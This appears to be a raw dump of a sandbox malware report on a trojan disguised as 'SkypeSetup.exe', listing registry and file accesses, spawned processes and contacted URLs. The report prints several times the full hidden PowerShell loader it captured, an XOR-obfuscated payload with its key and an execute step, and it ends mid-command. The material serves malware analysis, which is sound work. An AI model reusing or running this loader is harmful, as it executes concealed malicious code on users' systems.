24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 44:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T48b,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Generic Sample cbebafb2f4d7… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample cbebafb2f4d7…. Malware family: Trojan.Generic. Threat score 100/100. 21/29 AV engines flagged this file. 13 malicious and 34 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411","keywords":["Malicious","Trojan.Generic","malware analysis","sandbox report","threat intelligence","cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411"],"about":{"@type":"SoftwareApplication","name":"SkypeSetup.exe","applicationCategory":["peexe","executable"],"identifier":"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Generic","antivirusDetections":{"malicious":21,"total":29},"behavioralIndicators":{"malicious":13,"suspicious":34},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T9f1,"SkypeSetup.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "SkypeSetup.exe" touched "Portable Devices" (Path: "HKCU\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SHELLFOLDER") "SkypeSetup.exe" touched "Portable Media Devices" (Path: "HKCU\CLSID\{640167B4-59B0-47A6-B335-A6B3C0695AEA}\SHELLFOLDER") "SkypeSetup.exe" touched "Enhanced Storage Data Source" (Path: "HKCU\CLSID\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SHELLFOLDER") "SkypeSetup.exe" touched "delegate folder that appears in Computer" (Path: "HKCU\CLSID\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\SHELLFOLDER") "SkypeSetup.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "SkypeSetup.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "SkypeSetup.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "SkypeSetup.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "SkypeSetup.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "SkypeSetup.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "SkypeSetup.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "SkypeSetup.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "SkypeSetup.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "SkypeSetup.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "SkypeSetup.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "SkypeSetup.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "SkypeSetup.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "SkypeSetup.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "SkypeSetup.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER")26:T10e6,Spawned process "SkypeSetup.exe" (UID: 00064589-00001380) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$h = '2 ..." (UID: 00064615-00001360, Additional Context: "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43'for ($i = 0[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length++){[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] = [system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] -bxor KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length % KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ.Length]}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString([system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })));Invoke -ScriptBlock [Scriptblock]::Create($DeStr);;"), Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00068692-00003312), Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00068701-00004084), Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00068703-00002348), Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00069089-00002752), Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00069100-00003412), Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00069115-00001856)27:T10e6,Spawned process "SkypeSetup.exe" (UID: 00064589-00001380) Spawned process "powershell.exe" with commandline "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$h = '2 ..." (UID: 00064615-00001360, Additional Context: "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43'for ($i = 0[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length++){[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] = [system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] -bxor KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length % KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ.Length]}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString([system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })));Invoke -ScriptBlock [Scriptblock]::Create($DeStr);;"), Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00068692-00003312), Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00068701-00004084), Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00068703-00002348), Spawned process "cmd.exe" with commandline "cmd /c wmic qfe get hotfixid | find "KB2999226"" (UID: 00069089-00002752), Spawned process "WMIC.exe" with commandline "wmic qfe get hotfixid" (UID: 00069100-00003412), Spawned process "find.exe" with commandline "find "KB2999226"" (UID: 00069115-00001856)28:T720,"SkypeSetup.exe" touched file "C:\Users\JcU9LiQ\AppData\Local\Microsoft\Windows\Caches" "SkypeSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "SkypeSetup.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "SkypeSetup.exe" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "SkypeSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000027.db" "SkypeSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "SkypeSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\cversions.1.db" "SkypeSetup.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000027.db" "SkypeSetup.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\desktop.ini" "SkypeSetup.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "SkypeSetup.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\desktop.ini" "SkypeSetup.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\desktop.ini" "SkypeSetup.exe" touched file "%WINDIR%\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini" "SkypeSetup.exe" touched file "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini" "SkypeSetup.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat" "SkypeSetup.exe" touched file "C:\Windows\System32\rsaenh.dll" "SkypeSetup.exe" touched file "C:\Users\JcU9LiQ\AppData\Roaming\Microsoft\Windows\Cookies" "SkypeSetup.exe" touched file "C:\Users\JcU9LiQ\AppData\Local\Microsoft\Windows\History"29:T1964,Heuristic match: "cacerts.digicert.com" Heuristic match: "GET /DigiCertGlobalRootG2.crt HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: cacerts.digicert.com" Heuristic match: "dogecoin.deaftone.com" Heuristic match: "secure.skypeassets.com" Pattern match: "ft.com/pki/certs/MicTimStaPCA_2010-07-01.crt0" Pattern match: "http://mozilla.org/MPL/2.0/" Pattern match: "t.com/pki/certs/MicRooCerAut2011_2011_03_22.crt0" Pattern match: "https://services.addons.mozilla.org/%LOCALE%/firefox/api/%API_VERSION%/search/guid:%IDS%?src=firefox&appOS=%OS%&appVersion=%VERSION%" Pattern match: "https://services.addons.mozilla.org/%LOCALE%/firefox/api/%API_VERSION%/search/guid:%IDS%?src=firefox&appOS=%OS%&appVersion=%VERSION%&tMain=%TIME_MAIN%&tFirstPaint=%TIME_FIRST_PAINT%&tSessionRestored=%TIME_SESSION_RESTORED%" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%" Pattern match: "https://services.addons.mozilla.org/%LOCALE%/firefox/api/%API_VERSION%/search/%TERMS%/all/%MAX_RESULTS%/%OS%/%VERSION%/%COMPATIBILITY_MODE%?src=firefox" Pattern match: "https://discovery.addons.mozilla.org/%LOCALE%/firefox/discovery/pane/%VERSION%/%OS%/%COMPATIBILITY_MODE%" Pattern match: "https://services.addons.mozilla.org/%LOCALE%/%APP%/api/%API_VERSION%/list/recommended/all/%MAX_RESULTS%/%OS%/%VERSION%?src=firefox" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/themes/?src=firefox" Pattern match: "https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml" Pattern match: "https://symbols.mozilla.org" Pattern match: "http://symbols.mozilla.org/" Pattern match: "https://wiki.mozilla.org/Addons/Extension_Signing" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/dictionaries/" Pattern match: "https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%SYSTEM_CAPABILITIES%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/update.xml" Pattern match: "https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID%&version=%ITEM_VERSION%&maxAppVersion=%ITEM_MAXAPPVERSION%&status=%ITEM_STATUS%&appID=%APP_ID%&appVersion=%APP_VERSION%&appOS=%APP_OS%&appABI=%APP_ABI%&loc" Pattern match: "https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID%&version=%ITEM_VERSION%&maxAppVersion=%ITEM_MAXAPPVERSION%&status=%ITEM_STATUS%&appID=%APP_ID%&appVersion=%APP_VERSION%&appOS=%APP_OS%&appABI=%APP_ABI%&" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/themes" Pattern match: "https://addons.mozilla.org/firefox/addon/a-web-browser-renaissance/\,\headerURL\:\resource:///chrome/browser/content/browser/defaultthemes/1.header.jpg\,\textcolor\:\#000000\,\accentcolor\:\#834d29\,\iconURL\:\resource:///chrome/browser/con" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/themes/" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/" Pattern match: "http://wiki.mozilla.org/Session_Restore" Pattern match: "https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VERSION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%/" Pattern match: "https://addons.mozilla.org/%LOCALE%/firefox/search-engines/" Pattern match: "https://search.services.mozilla.com/1/%APP%/%VERSION%/%CHANNEL%/%LOCALE%/%REGION%/%DISTRIBUTION%/%DISTRIBUTION_VERSION%" Pattern match: "https://support.mozilla.org/%LOCALE%/kb/accessibility-services" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/geolocation/" Pattern match: "https://crash-stats.mozilla.com/report/index/" Pattern match: "https://www.mozilla.org/legal/privacy/firefox.html" Pattern match: "https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter" Pattern match: "https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/" Pattern match: "https://input.mozilla.org/%LOCALE%/feedback/%APP%/%VERSION%/" Pattern match: "https://www.mozilla.org/firefox/features/" Pattern match: "https://tiles.services.mozilla.com/v3/links/fetch/%LOCALE%/%CHANNEL%" Pattern match: "https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_API_KEY%" Pattern match: "https://accounts.firefox.com/signup?service=sync&context=fx_desktop_v3" Pattern match: "https://accounts.firefox.com/force_auth?service=sync&context=fx_desktop_v3" Pattern match: "https://accounts.firefox.com/signin?service=sync&context=fx_desktop_v3" Pattern match: "https://accounts.firefox.com/?service=sync&context=fx_desktop_v3&action=email" Pattern match: "https://accounts.firefox.com/" Pattern match: "https://accounts.firefox.com/settings?service=sync&context=fx_desktop_v3" Pattern match: "https://accounts.firefox.com/settings/clients?service=sync&context=fx_desktop_v3" Pattern match: "https://profile.accounts.firefox.com/v1" Pattern match: "https://oauth.accounts.firefox.com/v1" Pattern match: "https://token.services.mozilla.com/1.0/sync/1.5" Pattern match: "https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=" Pattern match: "https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=" Pattern match: "https://telemetry-experiment.cdn.mozilla.net/manifest/v1/firefox/%VERSION%/%CHANNEL%" Pattern match: "https://onyx_tiles.stage.mozaws.net/v3/links/ping-centre" Pattern match: "https://tiles.services.mozilla.com/v3/links/ping-centre" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tracking-protection/start/" Pattern match: "https://accounts.firefox.com" Pattern match: "https://add.my.yahoo.com/rss?url=%s" Pattern match: "https://30boxes.com/external/widget?refer=ff&url=%s" Pattern match: "https://compose.mail.yahoo.com/?To=%s" Pattern match: "https://mail.google.com/mail/?extsrc=mailto&url=%s" Pattern match: "https://www.mibbit.com/?url=%s" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/firstrun/" Pattern match: "https://www.mozilla.org/firefox/" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/notes" Pattern match: "https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=whatsnew"2a:T191e,Process "powershell.exe" with commandline "-WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43';$key = 'KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ';$enc = [system.Text.Encoding]::ASCII;$data1 = $enc.GetBytes(-join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }));for ($i = 0; $i -lt $data1.Length; $i++){$data1[$i] = $data1[$i] -bxor $key[$i % $key.Length];}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString($data1);$scriptBlock = [Scriptblock]::Create($DeStr); Invoke-Command -ScriptBlock $scriptBlock;}"" (UID: 00064615-00001360, Additional Context: "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43'for ($i = 0[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length++){[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] = [system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }))[[system.Text.Encoding]::ASCII.GetBytes( -join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) })).Length] -bxor 